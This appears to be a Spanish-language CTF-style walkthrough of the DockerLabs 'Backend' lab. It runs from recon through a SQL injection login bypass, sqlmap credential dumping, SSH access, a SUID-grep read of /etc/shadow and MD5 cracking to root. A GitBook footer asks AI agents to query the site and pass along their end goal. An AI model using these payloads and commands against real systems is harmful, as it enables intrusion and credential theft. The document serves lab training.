> For the complete documentation index, see [llms.txt](https://itskode.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itskode.gitbook.io/pentesting/dockerlabs/facil/backend.md).

# Backend

## 1. Reconocimiento — Nmap

Se realiza un escaneo completo sobre el objetivo `172.17.0.2` para detectar puertos abiertos y versiones de servicios.

```bash
nmap -sV -T4 -p- 172.17.0.2
```

![Nmap scan](/files/Wzr0klFwWh7UuCg3V2b8)

**Resultados relevantes:**

| Puerto | Estado | Servicio | Versión                        |
| ------ | ------ | -------- | ------------------------------ |
| 22/tcp | open   | SSH      | OpenSSH 9.2p1 Debian 2+deb12u3 |
| 80/tcp | open   | HTTP     | Apache httpd 2.4.61 (Debian)   |

***

## 2. Enumeración Web — Gobuster

Con el servicio HTTP activo, se enumeran directorios y archivos con Gobuster.

```bash
gobuster dir -u 172.17.0.2:80 \
  -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt \
  -x html,zip,php,txt,bak,sh,asp,aspx \
  -b 404 -t 60
```

![Login form with SQLi payload](/files/qATgkIToDr8s2kCx4afy)

**Archivos encontrados:**

| Recurso       | Código | Tamaño |
| ------------- | ------ | ------ |
| index.html    | 200    | 537    |
| login.html    | 200    | 635    |
| login.php     | 200    | 0      |
| css           | 301    | 306    |
| server-status | 403    | 275    |

***

## 3. Explotación — SQL Injection en el Login

Al acceder a `/login.html`, se encuentra un formulario de autenticación. Se prueba el clásico payload de SQL Injection:

```
' OR 1=1 --
```

![Gobuster results](/files/bgLeQz5jdzMBB4BadFZB)

***

## 4. Automatización con SQLMap

### 4.1 Enumerar Bases de Datos

```bash
sqlmap -u "http://172.17.0.2/login.php" \
  --data="username=admin&password=1234" \
  --dbs --batch
```

![SQLMap - tablas](/files/7S8dc4x9xmnLZ52wnMeG)

**Bases de datos disponibles (5):**

* information\_schema
* mysql
* performance\_schema
* sys
* **users** ← objetivo

***

### 4.2 Enumerar Tablas de la DB `users`

```bash
sqlmap -u "http://172.17.0.2/login.php" \
  --data="username=admin&password=1234" \
  --dbs --batch -D users --tables
```

![SQLMap - columnas](/files/mengt7o7jyFS7nX7w2sr)

**Tabla encontrada:** `usuarios`

***

### 4.3 Enumerar Columnas de la Tabla `usuarios`

```bash
sqlmap -u "http://172.17.0.2/login.php" \
  --data="username=admin&password=1234" \
  --dbs --batch -D users -T usuarios --columns
```

![SQLMap - dump](/files/CMD2w7HjNdvMpmtFBEkb)

**Estructura de la tabla:**

| Columna  | Tipo         |
| -------- | ------------ |
| id       | int(11)      |
| password | varchar(255) |
| username | varchar(255) |

***

### 4.4 Volcar los Datos

```bash
sqlmap -u "http://172.17.0.2/login.php" \
  --data="username=admin&password=1234" \
  --dbs --batch -D users -T usuarios --dump
```

![SSH - paco denegado](/files/xaK8L6Kv3nFynyAKWDYz)

**Credenciales extraídas:**

| id | username | password      |
| -- | -------- | ------------- |
| 1  | paco     | $paco$123     |
| 2  | pepe     | P123pepe3456P |
| 3  | juan     | jjuuaann123   |

***

## 5. Acceso SSH

Se prueban las credenciales obtenidas por SSH.

```bash
ssh paco@172.17.0.2
```

El usuario `paco` no tiene acceso. Se prueba con `pepe`:

```bash
ssh pepe@172.17.0.2
```

![SSH - pepe acceso](/files/sMbDWw3CJaBiVsUeYKZq)

Acceso conseguido como `pepe` (uid=1000, gid=1000).

***

## 6. Escalada de Privilegios

### 6.1 Reconocimiento como `pepe`

```bash
sudo -l
# sudo: command not found

find / -perm -4000 -type f 2>/dev/null
```

![SUID binaries](/files/MT5ddDzdjvSFd4sm1e2m)

**Binarios SUID interesantes:**

* `/usr/bin/grep`
* `/usr/bin/ls`

***

### 6.2 Leer `/root/.ssh/id_rsa` (sin éxito)

```bash
/usr/bin/grep '' /root/.ssh/id_rsa
```

![grep id\_rsa - no existe](/files/bbozKijNFn6bJVODOnzp)

No existe el archivo.

***

### 6.3 Leer `/etc/shadow` con SUID grep

```bash
/usr/bin/grep '' /etc/shadow
```

![/etc/shadow dump](/files/yow1qwYaVx2kLp8RDGmu)

Se obtiene el hash del usuario `root`.

***

### 6.4 Leer `/root` — archivo `pass.hash`

```bash
/usr/bin/ls /root
```

![ls /root](/files/OqOVanLlDlPmhnsfkQj1)

Existe el archivo `pass.hash` en `/root`.

***

### 6.5 Identificar el Hash

```bash
hash-identifier
```

![hash-identifier](/files/PTSRBQe4VcZqMA8WaO2s)

**Hash:** `e43833c4c9d5ac444e16bb94715a75e4`\
**Tipo identificado:** MD5

***

### 6.6 Crackear el Hash con John the Ripper

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt \
  --format=Raw-MD5 rootpasswd.txt
```

![John the Ripper](/files/wek02JrvhZCaFh0t14rE)

**Contraseña encontrada:** `spongebob34`

***

## 7. Root

```bash
su root
# Password: spongebob34
```

![Root access](/files/oEJ17wjQxRMsETxs9Pfu)

**¡Acceso root conseguido!**

***

## Resumen

| Paso | Técnica                       | Resultado                  |
| ---- | ----------------------------- | -------------------------- |
| 1    | Nmap                          | SSH (22) + HTTP (80)       |
| 2    | Gobuster                      | `/login.php` descubierto   |
| 3    | SQL Injection manual          | Bypass login               |
| 4    | SQLMap                        | Credenciales de 3 usuarios |
| 5    | SSH                           | Acceso como `pepe`         |
| 6    | SUID grep → `/etc/shadow`     | Hash MD5 de root           |
| 7    | John the Ripper (rockyou.txt) | Password: `spongebob34`    |
| 8    | `su root`                     | Root                       |


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://itskode.gitbook.io/pentesting/dockerlabs/facil/backend.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
